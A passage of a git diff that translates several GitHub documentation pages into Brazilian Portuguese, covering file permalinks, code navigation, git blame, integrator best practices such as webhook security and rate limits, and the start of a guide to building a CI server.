-For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id.  This will permanently link to the exact version of the file in that commit.  For example:
-
-* [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md)
-
-replaces `main` with a specific commit id and the file content will not change.
-
-Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type <kbd>y</kbd> to automatically update the URL to the permalink version.  Then you can copy the URL knowing that anyone you share it with will see exactly what you saw.
 
 {% tip %}
 
-**Tip**: You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags!
+**Dica**: Pressione "?" em qualquer página de {% data variables.product.product_name %} para visualizar todos os atalhos de teclado disponíveis.
 
 {% endtip %}
 
-## Creating a permanent link to a code snippet
+## As visualizações de arquivos mostram a versão mais recente de um branch
 
-You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see "[Creating a permanent link to a code snippet](/articles/creating-a-permanent-link-to-a-code-snippet/)."
+Ao visualizar um arquivo em {% data variables.product.product_location %}, normalmente você vê a versão do head atual de um branch.  Por exemplo:
 
-## Further reading
+* [https://github.com/github/hubot/blob/**master**/README.md](https://github.com/github/codeql/blob/main/README.md)
 
-- "[Archiving a GitHub repository](/articles/archiving-a-github-repository)"
+refere-se ao repositório `hubot` do GitHub e apresenta a versão atual do branch `master` do arquivo `README.md`.
+
+A versão de um arquivo no head de um branch pode ser modificada assim que novos commits são feitos. Desta forma, caso você copie a URL normal, os conteúdos dos arquivos podem não ser os mesmos quando outra pessoa olhá-los posteriormente.
+
+## Press <kbd>Y</kbd> to permalink to a file in a specific commit
+
+Para um link permanente em uma versão específica de um arquivo que você vê, em vez de usar o nome do branch na URL (por exemplo: a parte `master` no exemplo acima), coloque o ID do commit.  Isso vinculará permanentemente a versão exata do arquivo naquele commit.  Por exemplo:
+
+* [https://github.com/github/hubot/blob/**ed25584f5ac2520a6c28547ffd0961c7abd7ea49**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md)
+
+substitui `master` com um ID específico do commit e o conteúdo do arquivo não será modificado.
+
+É incoveniente procurar o commit SHA manualmente, mas é possível digitar o atalho <kbd>y</kbd> para atualizar automaticamente a URL à versão do permalink.  Em seguida, você pode copiar a URL sabendo que qualquer pessoa com quem você compartilhá-la verá exatamente o que você vê.
+
+{% tip %}
+
+**Dica**: é possível colocar qualquer identificador em um commit da URL, inclusive nomes de branches, commits SHAS específicos ou mesmo tags!
+
+{% endtip %}
+
+## Criar um link permanente em um trecho de código
+
+É possível criar um link permanente em uma linha específica ou conjunto de linhas de código de uma determinada versão de arquivo ou pull request. Para obter mais informações, consulte "[Criar um link permanente em um trecho de código](/articles/creating-a-permanent-link-to-a-code-snippet/)".
+
+## Leia mais
+
+- "[Arquivar um repositório GitHub ](/articles/archiving-a-github-repository)"
diff --git a/translations/pt-BR/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/pt-BR/content/repositories/working-with-files/using-files/navigating-code-on-github.md
index d0f6114565..b510ed4584 100644
--- a/translations/pt-BR/content/repositories/working-with-files/using-files/navigating-code-on-github.md
+++ b/translations/pt-BR/content/repositories/working-with-files/using-files/navigating-code-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Navigating code on GitHub
-intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.product_name %}.'
+title: Navegar por códigos no GitHub
+intro: 'Você pode entender as relações de dentro e entre os repositórios navegando por códigos diretamente no {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/navigating-code-on-github
   - /github/managing-files-in-a-repository/navigating-code-on-github
@@ -11,9 +11,10 @@ versions:
 topics:
   - Repositories
 ---
+
 <!-- If you make changes to this feature, update /getting-started-with-github/github-language-support to reflect any changes to supported languages. -->
 
-## About navigating code on {% data variables.product.prodname_dotcom %}
+## Sobre a navegação do código no {% data variables.product.prodname_dotcom %}
 
 Code navigation helps you to read, navigate, and understand code by showing and linking definitions of a named entity corresponding to a reference to that entity, as well as references corresponding to an entity's definition.
 
@@ -21,17 +22,17 @@ Code navigation helps you to read, navigate, and understand code by showing and
 
 Code navigation uses the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library. The following languages and navigation strategies are supported:
 
-| Language   | search-based code navigation | precise code navigation |
+| Linguagem  | search-based code navigation | precise code navigation |
 |:----------:|:----------------------------:|:-----------------------:|
-| C#         | ✅                           |                         |
-| CodeQL     | ✅                           |                         |
-| Go         | ✅                           |                         |
-| Java       | ✅                           |                         |
-| JavaScript | ✅                           |                         |
-| PHP        | ✅                           |                         |
-| Python     | ✅                           | ✅                      |
-| Ruby       | ✅                           |                         |
-| TypeScript | ✅                           |                         |
+|     C#     |              ✅               |                         |
+|   CodeQL   |              ✅               |                         |
+|     Go     |              ✅               |                         |
+|    Java    |              ✅               |                         |
+| JavaScript |              ✅               |                         |
+|    PHP     |              ✅               |                         |
+|   Python   |              ✅               |            ✅            |
+|    Ruby    |              ✅               |                         |
+| TypeScript |              ✅               |                         |
 
 
 You do not need to configure anything in your repository to enable code navigation. We will automatically extract search-based and precise code navigation information for these supported languages in all repositories and you can switch between the two supported code navigation approaches if your programming language is supported by both.
@@ -44,17 +45,17 @@ To learn more about these approaches, see "[Precise and search-based navigation]
 
 Future releases will add *precise code navigation* for more languages, which is a code navigation approach that can give more accurate results.
 
-## Jumping to the definition of a function or method
+## Pular para a definição de uma função ou método
 
-You can jump to a function or method's definition within the same repository by clicking the function or method call in a file.
+Você pode pular para uma definição de uma função ou método dentro do mesmo repositório, clicando na chamada dessa função ou método em um arquivo.
 
-![Jump-to-definition tab](/assets/images/help/repository/jump-to-definition-tab.png)
+![Aba Jump-to-definition (Pular para a definição)](/assets/images/help/repository/jump-to-definition-tab.png)
 
-## Finding all references of a function or method
+## Localizar todas as referências de uma função ou método
 
-You can find all references for a function or method within the same repository by clicking the function or method call in a file, then clicking the **References** tab.
+Você pode encontrar todas as referências para uma função ou método dentro do mesmo repositório clicando na chamada da função ou método e, em seguida, clicando na aba **Referências**.
 
-![Find all references tab](/assets/images/help/repository/find-all-references-tab.png)
+![Aba Find all references (Localizar todas as referências)](/assets/images/help/repository/find-all-references-tab.png)
 
 ## Precise and search-based navigation
 
@@ -72,5 +73,5 @@ If code navigation is enabled for you but you don't see links to the definitions
 - Code navigation only works for active branches. Push to the branch and try again.
 - Code navigation only works for repositories with fewer than 100,000 files.
 
-## Further reading
-- "[Searching code](/github/searching-for-information-on-github/searching-code)"
+## Leia mais
+- "[Pesquisar código](/github/searching-for-information-on-github/searching-code)"
diff --git a/translations/pt-BR/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md b/translations/pt-BR/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
index 2aa33de78a..a656949a90 100644
--- a/translations/pt-BR/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
+++ b/translations/pt-BR/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
@@ -1,6 +1,6 @@
 ---
-title: Tracking changes in a file
-intro: You can trace changes to lines in a file and discover how parts of the file evolved over time.
+title: Controlar as alterações em um arquivo
+intro: É possível controlar as alterações em linhas de um arquivo e descobrir como as partes do arquivo evoluíram ao longo do tempo.
 redirect_from:
   - /articles/using-git-blame-to-trace-changes-in-a-file
   - /articles/tracing-changes-in-a-file
@@ -14,25 +14,24 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Track file changes
+shortTitle: Rastrear alterações do arquivo
 ---
-With the blame view, you can view the line-by-line revision history for an entire file, or view the revision history of a single line within a file by clicking {% octicon "versions" aria-label="The prior blame icon" %}. Each time you click {% octicon "versions" aria-label="The prior blame icon" %}, you'll see the previous revision information for that line, including who committed the change and when.
 
-![Git blame view](/assets/images/help/repository/git_blame.png)
+Com a exibição blame, você pode ver o histórico de revisão linha por linha de um arquivo inteiro ou exibir o histórico de revisão de uma única linha dentro de um arquivo clicando em {% octicon "versions" aria-label="The prior blame icon" %}. Toda vez que você clicar em {% octicon "versions" aria-label="The prior blame icon" %}, verá as informações anteriores de revisão relativas a essa linha, inclusive quem realizou a alteração e quando.
 
-In a file or pull request, you can also use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} menu to view Git blame for a selected line or range of lines.
+![Exibição blame do Git](/assets/images/help/repository/git_blame.png)
 
-![Kebab menu with option to view Git blame for a selected line](/assets/images/help/repository/view-git-blame-specific-line.png)
+Em um arquivo ou uma pull request, também é possível usar o menu {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} para exibir o recurso blame do Git relacionado a uma determinada linha ou um intervalo de linhas.
+
+![Menu kebab com opção para exibir o recurso blame do Git relacionado a uma determinada linha](/assets/images/help/repository/view-git-blame-specific-line.png)
 
 {% tip %}
 
-**Tip:** On the command line, you can also use `git blame` to view the revision history of lines within a file. For more information, see [Git's `git blame` documentation](https://git-scm.com/docs/git-blame).
+**Dica:** na linha de comando, você também pode usar `git blame` para exibir o histórico de revisão das linhas dentro de um arquivo. Para obter mais informações, consulte [Documentação sobre `git blame` no Git](https://git-scm.com/docs/git-blame).
 
 {% endtip %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Click to open the file whose line history you want to view.
-3. In the upper-right corner of the file view, click **Blame** to open the blame view.
-![Blame button](/assets/images/help/repository/blame-button.png)
-4. To see earlier revisions of a specific line, or reblame, click {% octicon "versions" aria-label="The prior blame icon" %} until you've found the changes you're interested in viewing.
-![Prior blame button](/assets/images/help/repository/prior-blame-button.png)
+2. Clique para abrir o arquivo cujo histórico de linhas você deseja exibir.
+3. No canto superior direito da exibição do arquivo, clique em **Blame** para abrir a exibição blame. ![Botão Blame (Blame)](/assets/images/help/repository/blame-button.png)
+4. Para ver revisões anteriores de uma linha específica ou tornar a usar o recurso blame, clique em {% octicon "versions" aria-label="The prior blame icon" %} até encontrar as alterações que você deseja exibir. ![Botão Prior blame (Blame anterior)](/assets/images/help/repository/prior-blame-button.png)
diff --git a/translations/pt-BR/content/rest/guides/best-practices-for-integrators.md b/translations/pt-BR/content/rest/guides/best-practices-for-integrators.md
index 7ad5e448ca..a8e40a0d29 100644
--- a/translations/pt-BR/content/rest/guides/best-practices-for-integrators.md
+++ b/translations/pt-BR/content/rest/guides/best-practices-for-integrators.md
@@ -1,5 +1,5 @@
 ---
-title: Best practices for integrators
+title: Práticas recomendadas para integradores
 intro: 'Build an app that reliably interacts with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and provides the best experience for your users.'
 redirect_from:
   - /guides/best-practices-for-integrators
@@ -11,63 +11,63 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Integrator best practices
+shortTitle: Práticas recomendadas do integrador
 ---
 
 
-Interested in integrating with the GitHub platform? [You're in good company](https://github.com/integrations). This guide will help you build an app that provides the best experience for your users *and* ensure that it's reliably interacting with the API. 
+Interessado em integrar-se à plataforma do GitHub? [Você está em boas mãos](https://github.com/integrations). Este guia ajudará você a construir um aplicativo que fornece a melhor experiência para seus usuários *e* garantir que interaja, de modo confiável, com a API.
 
-## Secure payloads delivered from GitHub
+## Garante cargas seguras entregues a partir do GitHub
 
-It's very important that you secure [the payloads sent from GitHub][event-types]. Although no personal information (like passwords) is ever transmitted in a payload, leaking *any* information is not good. Some information that might be sensitive include committer email address or the names of private repositories.
+É muito importante que você assegure [as cargas enviadas pelo GitHub][event-types]. Embora nenhuma informação pessoal (como senha) seja transmitida em uma carga, não é bom vazar *quaisquer informações*. Algumas informações que podem ser sensíveis incluem endereços de e-mail do committer ou os nomes de repositórios privados.
 
-There are several steps you can take to secure receipt of payloads delivered by GitHub:
+Há várias etapas que você pode dar para garantir o recebimento de cargas entregues pelo GitHub:
 
-1. Ensure that your receiving server is on an HTTPS connection. By default, GitHub will verify SSL certificates when delivering payloads.{% ifversion fpt or ghec %}
-1. You can add [the IP address we use when delivering hooks](/github/authenticating-to-github/about-githubs-ip-addresses) to your server's allow list. To ensure that you're always checking the right IP address, you can [use the `/meta` endpoint](/rest/reference/meta#meta) to find the address we use.{% endif %}
-1. Provide [a secret token](/webhooks/securing/) to ensure payloads are definitely coming from GitHub. By enforcing a secret token, you're ensuring that any data received by your server is absolutely coming from GitHub. Ideally, you should provide a different secret token *per user* of your service. That way, if one token is compromised, no other user would be affected.
+1. Certifique-se de que seu servidor de recebimento tenha uma conexão HTTPS. Por padrão, o GitHub verificará os certificados SSL ao entregar cargas.{% ifversion fpt or ghec %}
+1. Você pode adicionar [o endereço IP que usamos ao entregar hooks](/github/authenticating-to-github/about-githubs-ip-addresses) à lista de permissões do seu servidor. Para garantir que você esteja sempre verificando o endereço IP correto, você pode [usar o ponto de extremidade `/meta`](/rest/reference/meta#meta) para encontrar o endereço que utilizamos.{% endif %}
+1. Forneça [um token secreto](/webhooks/securing/) para garantir que as cargas estão definitivamente vindo do GitHub. Ao impor um token secreto, você garantirá que todos os dados recebidos pelo seu servidor estejam absolutamente vindo do GitHub. Idealmente, você deve fornecer um token secreto diferente *por usuário* do seu serviço. Dessa forma, se um token for comprometido, nenhum outro usuário será afetado.
 
-## Favor asynchronous work over synchronous
+## Favoreça o trabalho assíncrono em detrimento do trabalho síncrono
 
-GitHub expects that integrations respond within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving the webhook payload. If your service takes longer than that to complete, then GitHub terminates the connection and the payload is lost.
+O GitHub espera que as integrações respondam dentro de {% ifversion fpt or ghec %}10{% else %}30{% endif %} segundos após receber a carga do webhook. Se o seu serviço demorar mais do que isso para ser concluído, o GitHub encerrará a conexão e a carga será perdida.
 
-Since it's impossible to predict how fast your service will complete, you should do all of "the real work" in a background job. [Resque](https://github.com/resque/resque/) (for Ruby), [RQ](http://python-rq.org/) (for Python), or [RabbitMQ](http://www.rabbitmq.com/) (for Java) are examples of libraries that can handle queuing and processing of background jobs.
+Como é impossível prever a rapidez com que o seu serviço será concluído, você deve fazer todo o "trabalho real" em um trabalho que atue em segundo plano. [Resque](https://github.com/resque/resque/) (para Ruby), [RQ](http://python-rq.org/) (para Python) ou [RabbitMQ](http://www.rabbitmq.com/) (para Java) são exemplos de bibliotecas que podem lidar com a fila e o processamento de trabalhos em segundo plano.
 
-Note that even with a background job running, GitHub still expects your server to respond within {% ifversion fpt or ghec %}ten{% else %}thirty{% endif %} seconds. Your server needs to acknowledge that it received the payload by sending some sort of response. It's critical that your service performs any validations on a payload as soon as possible, so that you can accurately report whether your server will continue with the request or not.
+Observe que, mesmo com um trabalho em segundo plano, o GitHub ainda espera que seu servidor responda no prazo de {% ifversion fpt or ghec %}dez{% else %}trinta{% endif %} segundos. Seu servidor precisa reconhecer que recebeu a carga enviando algum tipo de resposta. É fundamental que o seu serviço realize qualquer validação em uma carga o mais rápido possível para que você possa relatar com precisão se o seu servidor irá continuar com a solicitação ou não.
 
-## Use appropriate HTTP status codes when responding to GitHub
+## Use códigos de status de HTTP apropriados ao responder ao GitHub
 
-Every webhook has its own "Recent Deliveries" section, which lists whether a deployment was successful or not.
+Cada webhook tem sua própria seção de "Entregas Recentes", que lista se uma implantação foi bem-sucedida ou não.
 
-![Recent Deliveries view](/assets/images/webhooks_recent_deliveries.png)
+![Vista das entregas recentes](/assets/images/webhooks_recent_deliveries.png)
 
-You should make use of proper HTTP status codes in order to inform users. You can use codes like `201` or `202` to acknowledge receipt of payload that won't be processed (for example, a payload delivered by a branch that's not the default). Reserve the `500` error code for catastrophic failures.
+Você deve usar códigos de status de HTTP apropriados para informar aos usuários. Você pode usar códigos como `201` ou `202` para reconhecer que o recebimento da carga não será processado (por exemplo, uma carga entregue por um branch que não é padrão). Reserve o código de erro `500` para falhas catastróficas.
 
-## Provide as much information as possible to the user
+## Forneça o máximo de informações possível para o usuário
 
-Users can dig into the server responses you send back to GitHub. Ensure that your messages are clear and informative.
+Os usuários podem entrar nas respostas do servidor que você enviar de volta ao GitHub. Certifique-se de que suas mensagens sejam claras e informativas.
 
-![Viewing a payload response](/assets/images/payload_response_tab.png)
+![Visualizar uma resposta de carga](/assets/images/payload_response_tab.png)
 
-## Follow any redirects that the API sends you
+## Siga qualquer redirecionamento que a API enviar para você
 
-GitHub is explicit in telling you when a resource has moved by providing a redirect status code. You should follow these redirections. Every redirect response sets the `Location` header with the new URI to go to. If you receive a redirect, it's best to update your code to follow the new URI, in case you're requesting a deprecated path that we might remove.
+O GitHub é explícito ao informar quando um recurso foi movido, fornecendo um código de estado de redirecionamento. Você deveria seguir estes redirecionamentos. Cada resposta de redirecionamento define o cabeçalho da `Localização` com a nova URI a ser acessada. Se você receber um redirecionamento, é melhor atualizar seu código para seguir a nova URI, caso você esteja solicitando um caminho obsoleto que possamos remover.
 
-We've provided [a list of HTTP status codes](/rest#http-redirects) to watch out for when designing your app to follow redirects.
+Nós fornecemos [uma lista de códigos de status de HTTP](/rest#http-redirects) que você pode consultar ao projetar o seu aplicativo para seguir redirecionamentos.
 
-## Don't manually parse URLs
+## Não analise as URLs manualmente
 
-Often, API responses contain data in the form of URLs. For example, when requesting a repository, we'll send a key called `clone_url` with a URL you can use to clone the repository.
+Muitas vezes, as respostas da API contêm dados na forma de URLs. Por exemplo, ao solicitar um repositório, enviaremos uma chave denominada `clone_url` com uma URL que você pode usar para clonar o repositório.
 
-For the stability of your app, you shouldn't try to parse this data or try to guess and construct the format of future URLs. Your app is liable to break if we decide to change the URL.
+Para a estabilidade do seu aplicativo, você não deve tentar analisar esses dados ou tentar adivinhar e construir o formato de URLs futuras. Seu app será poderá falhar se decidirmos alterar a URL.
 
-For example, when working with paginated results, it's often tempting to construct URLs that append `?page=<number>` to the end. Avoid that temptation. [Our guide on pagination](/guides/traversing-with-pagination) offers some safe tips on dependably following paginated results.
+Por exemplo, ao trabalhar com resultados paginados, muitas vezes é tentador construir URLs que anexam `?page=<number>` ao final. Evite essa tentação. [Nosso guia sobre paginação](/guides/traversing-with-pagination) oferece algumas dicas seguras sobre o acompanhamento de resultados paginados de forma dependente.
 
-## Check the event type and action before processing the event
+## Verifique o tipo de evento e a ação antes de processar o evento
 
-There are multiple [webhook event types][event-types], and each event can have multiple actions. As GitHub's feature set grows, we will occasionally add new event types or add new actions to existing event types. Ensure that your application explicitly checks the type and action of an event before doing any webhook processing. The `X-GitHub-Event` request header can be used to know which event has been received so that processing can be handled appropriately. Similarly, the payload has a top-level `action` key that can be used to know which action was taken on the relevant object.
+Existem vários [tipos de eventos de webhook][event-types], e cada evento pode ter várias ações. À medida que a configuração de recursos do GitHub crescer, adicionaremos, ocasionalmente, novos tipos de evento ou adicionaremos novas ações aos tipos de evento existentes. Certifique-se de que sua aplicação verifica, explicitamente, o tipo e a ação de um evento antes de realizar qualquer processamento de webhook. O cabeçalho de solicitação `X-GitHub-Event` pode ser usado para saber qual evento foi recebido para que o processamento possa ser tratado adequadamente. Da mesma forma, a carga tem uma chave de `ação` de nível superior que pode ser usada para saber qual ação foi tomada no objeto relevante.
 
-For example, if you have configured a GitHub webhook to "Send me **everything**", your application will begin receiving new event types and actions as they are added. It is therefore **not recommended to use any sort of catch-all else clause**. Take the following code example:
+Por exemplo, se você configurou um webhook do GitHub para "Envie-me **tudo**", o seu aplicativo começará a receber novos tipos de eventos e ações conforme forem adicionados. Portanto, **não se recomenda usar qualquer tipo de cláusula "else", que recebe tudo**. Veja o código a seguir como exemplo:
 
 ```ruby
 # Not recommended: a catch-all else clause
@@ -86,9 +86,9 @@ def receive
 end
 ```
 
-In this code example, the `process_repository` and `process_issues` methods will be correctly called if a `repository` or `issues` event was received. However, any other event type would result in `process_pull_requests` being called. As new event types are added, this would result in incorrect behavior and new event types would be processed in the same way that a `pull_request` event would be processed.
+Neste exemplo de código, os métodos `process_repository` e `process_issues` serão corretamente chamados se o evento `repositório` ou `problemas` foi recebido. No entanto, qualquer outro tipo de evento resultaria na chamada de `process_pull_requests`. Uma vez que novos tipos de eventos são adicionados, isso resultaria em comportamento incorreto e novos tipos de eventos seriam processados da mesma forma que um evento `pull_request` seria processado.
 
-Instead, we suggest explicitly checking event types and acting accordingly. In the following code example, we explicitly check for a `pull_request` event and the `else` clause simply logs that we've received a new event type:
+Em vez disso, sugerimos que se verifiquem explicitamente os tipos de eventos e que se se tomem as ações de acordo com isso. No exemplo a seguir do código, verificamos, explicitamente, um evento `pull_request` e a cláusula `else` simplesmente registra que recebemos um novo tipo de evento:
 
 ```ruby
 # Recommended: explicitly check each event type
@@ -109,9 +109,9 @@ def receive
 end
 ```
 
-Because each event can also have multiple actions, it's recommended that actions are checked similarly. For example, the [`IssuesEvent`](/webhooks/event-payloads/#issues) has several possible actions. These include `opened` when the issue is created, `closed` when the issue is closed, and `assigned` when the issue is assigned to someone.
+Como cada evento também pode ter várias ações, recomenda-se que as ações sejam verificadas da mesma forma. Por exemplo, o [`IssuesEvent`](/webhooks/event-payloads/#issues) tem várias ações possíveis. Estas incluem `aberto` quando o problema é criado, `fechado` quando o problema é fechado e `atribuído` quando o problema é atribuído a alguém.
 
-As with adding event types, we may add new actions to existing events. It is therefore again **not recommended to use any sort of catch-all else clause** when checking an event's action. Instead, we suggest explicitly checking event actions as we did with the event type. An example of this looks very similar to what we suggested for event types above:
+Assim como a adição de tipos de evento, podemos adicionar novas ações aos eventos existentes. Portanto, novamente **não se recomenda usar qualquer tipo de cláusula "else" para receber tudo** ao verificar a ação de um evento. Em vez disso, sugerimos que verifique explicitamente as ações de eventos, como fizemos com o tipo de evento. Um exemplo disso parece muito semelhante ao que sugerimos para os tipos de eventos acima:
 
 ```ruby
 # Recommended: explicitly check each action
@@ -129,47 +129,40 @@ def process_issue(payload)
 end
 ```
 
-In this example the `closed` action is checked first before calling the `process_closed` method. Any unidentified actions are logged for future reference.
+Neste exemplo, a ação `fechada` é verificada antes de chamar o método `process_closed`. Quaisquer ações não identificadas são registradas para referência futura.
 
 {% ifversion fpt or ghec %}
 
-## Dealing with rate limits
+## Lidar com limites de taxa
 
-The GitHub API [rate limit](/rest/overview/resources-in-the-rest-api#rate-limiting) ensures that the API is fast and available for everyone.
+O limite de câmbio da API [do GitHub](/rest/overview/resources-in-the-rest-api#rate-limiting) garante que a API seja rápida e disponível para todos.
 
-If you hit a rate limit, it's expected that you back off from making requests and try again later when you're permitted to do so. Failure to do so may result in the banning of your app.
+Se você atingir um limite de câmbio, espera-se que você recue ao fazer solicitações e tente novamente mais tarde quando for permitido fazer isso. O não cumprimento pode resultar no banimento do seu aplicativo.
 
-You can always [check your rate limit status](/rest/reference/rate-limit) at any time. Checking your rate limit incurs no cost against your rate limit.
+Você sempre poderá [verificar o status do seu limite de taxa](/rest/reference/rate-limit) a qualquer momento. Verificar seu limite de taxa não gera nenhum custo para o mesmo.
 
-## Dealing with secondary rate limits
+## Lidando com limites de taxa secundária
 
-[Secondary rate limits](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) are another way we ensure the API's availability.
-To avoid hitting this limit, you should ensure your application follows the guidelines below.
+[Os limites de taxa secundária](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) são outra forma de garantir a disponibilidade da API. Para evitar atingir este limite, você deverá certificar-se de que o seu aplicativo segue as diretrizes abaixo.
 
-* Make authenticated requests, or use your application's client ID and secret. Unauthenticated
-  requests are subject to more aggressive secondary rate limiting.
-* Make requests for a single user or client ID serially. Do not make requests for a single user
-  or client ID concurrently.
-* If you're making a large number of `POST`, `PATCH`, `PUT`, or `DELETE` requests for a single user
-  or client ID, wait at least one second between each request.
-* When you have been limited, use the `Retry-After` response header to slow down. The value of the
-  `Retry-After` header will always be an integer, representing the number of seconds you should wait
-  before making requests again. For example, `Retry-After: 30` means you should wait 30 seconds
-  before sending more requests.
-* Requests that create content which triggers notifications, such as issues, comments and pull requests,
-  may be further limited and will not include a `Retry-After` header in the response. Please create this
-  content at a reasonable pace to avoid further limiting.
+* Faça solicitações autenticadas, ou use o ID de cliente e segredo do seu aplicativo. Os pedidos não autenticados estão sujeitos a limites de taxa secundária mais agressivos.
+* Faça solicitações de um único usuário ou ID de cliente em série. Não faça solicitações para um único usuário ou ID de cliente simultaneamente.
+* Se você estiver fazendo um grande número de solicitações `POST`, `PATCH`, `PUT` ou `DELETE` para um único usuário ou ID de cliente, espere pelo menos um segundo entre cada solicitação.
+* Ao receber alguma restrição, use o cabeçalho de resposta `Retry-After` para diminuir a velocidade. O valor do cabeçalho `Retry-After` será sempre um inteiro, que representa o número de segundos que você deve esperar antes de fazer solicitações novamente. Por exemplo, `Retry-After: 30` significa que você deve esperar 30 segundos antes de enviar mais solicitações.
+* Solicitações que criam conteúdo que acionam notificações, tais como problemas, comentários e pull requests, podem ser ainda mais limitadas e não incluirão um cabeçalho `Retry-After` na resposta. Crie este conteúdo em um ritmo razoável para evitar maiores limitações.
 
-We reserve the right to change these guidelines as needed to ensure availability.
+Nos nos reservamos o direito de alterar essas diretrizes, conforme necessário, para garantir a disponibilidade.
 
 {% endif %}
 
-## Dealing with API errors
+## Lidar com erros da API
 
-Although your code would never introduce a bug, you may find that you've encountered successive errors when trying to access the API.
+Embora o seu código nunca introduzisse um erro, você pode descobrir que encontrou erros sucessivos ao tentar acessar a API.
 
-Rather than ignore repeated `4xx` and `5xx` status codes, you should ensure that you're correctly interacting with the API. For example, if an endpoint requests a string and you're passing it a numeric value, you're going to receive a `5xx` validation error, and your call won't succeed. Similarly, attempting to access an unauthorized or nonexistent endpoint will result in a `4xx` error.
+Ao invés de ignorar os códigos de status repetidos `4xx` e `5xx`, você deverá certificar-se de que você está interagindo corretamente com a API. Por exemplo, se um ponto de extremidade solicitar um string de caracteres e você estiver passando um valor numérico, você receberá um erro de validação de `5xx` e sua chamada não terá sucesso. Da mesma forma, tentar acessar um ponto de extremidade não autorizado ou inexistente, gerará um erro `4xx`.
 
-Intentionally ignoring repeated validation errors may result in the suspension of your app for abuse.
+Ignorar intencionalmente erros de validação repetidos pode resultar na suspensão do seu aplicativo por abuso.
+
+[event-types]: /webhooks/event-payloads
 
 [event-types]: /webhooks/event-payloads
diff --git a/translations/pt-BR/content/rest/guides/building-a-ci-server.md b/translations/pt-BR/content/rest/guides/building-a-ci-server.md
index dbcec20196..0d41a39c43 100644
--- a/translations/pt-BR/content/rest/guides/building-a-ci-server.md
+++ b/translations/pt-BR/content/rest/guides/building-a-ci-server.md
@@ -1,6 +1,6 @@
 ---
-title: Building a CI server
-intro: Build your own CI system using the Status API.
+title: Criar um servidor de CI
+intro: Crie o seu próprio sistema CI usando a API de status.
 redirect_from:
   - /guides/building-a-ci-server
   - /v3/guides/building-a-ci-server
@@ -15,31 +15,22 @@ topics:
 
 
 
-The [Status API][status API] is responsible for tying together commits with
-a testing service, so that every push you make can be tested and represented
-in a {% data variables.product.product_name %} pull request.
+A [API de Status][status API] é responsável por unir commits com um serviço de teste. para que cada push que você fizer possa ser testado e representado em um pull request do {% data variables.product.product_name %}.
 
-This guide will use that API to demonstrate a setup that you can use.
-In our scenario, we will:
+Este guia usará a API para demonstrar uma configuração que você pode usar. No nosso cenário, iremos:
 
-* Run our CI suite when a Pull Request is opened (we'll set the CI status to pending).
-* When the CI is finished, we'll set the Pull Request's status accordingly.
+* Executar o nosso conjunto de CI quando um pull request for aberto (iremos definir o status de CI como pendente).
+* Quando o CI terminar, definiremos o status do pull request.
 
-Our CI system and host server will be figments of our imagination. They could be
-Travis, Jenkins, or something else entirely. The crux of this guide will be setting up
-and configuring the server managing the communication.
+O nosso sistema de CI e servidor de hospedagem serão imaginários. Eles podem ser Travis, Jenkins, ou qualquer outra coisa completamente diferente. O principal deste guia será criar e configurar o servidor de gerenciamento da comunicação.
 
-If you haven't already, be sure to [download ngrok][ngrok], and learn how
-to [use it][using ngrok]. We find it to be a very useful tool for exposing local
-connections.
+Se você ainda não tiver, certifique-se de [fazer o download do ngrok][ngrok]e aprender como [usá-lo][using ngrok]. Nós achamos que é uma ferramenta muito útil para expor conexões locais.
 
-Note: you can download the complete source code for this project
-[from the platform-samples repo][platform samples].
+Observação: você pode baixar o código-fonte completo para este projeto [no repositório de amostra de plataforma][platform samples].
 
-## Writing your server
+## Escrever o seu servidor
 
-We'll write a quick Sinatra app to prove that our local connections are working.
-Let's start with this:
+Vamos escrever um aplicativo rápido do Sinatra para provar que nossas conexões locais estão funcionando. Vamos começar com isso:
 
 ``` ruby
 require 'sinatra'
@@ -51,29 +42,20 @@ post '/event_handler' do
 end
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].)
+(Se você não estiver familiarizado com a forma como Sinatra funciona, recomendamos [a leitura do guia do Sinatra][Sinatra].)
 
-Start this server up. By default, Sinatra starts on port `4567`, so you'll want
-to configure ngrok to start listening for that, too.
+Inicie este servidor. Por padrão, o Sinatra começa na porta `4567`. Portanto, você deverá configurar o ngrok para começar a ouvir isso também.
 
-In order for this server to work, we'll need to set a repository up with a webhook.
-The webhook should be configured to fire whenever a Pull Request is created, or merged.
-Go ahead and create a repository you're comfortable playing around in. Might we
-suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)?
-After that, you'll create a new webhook in your repository, feeding it the URL
-that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the
-content type:
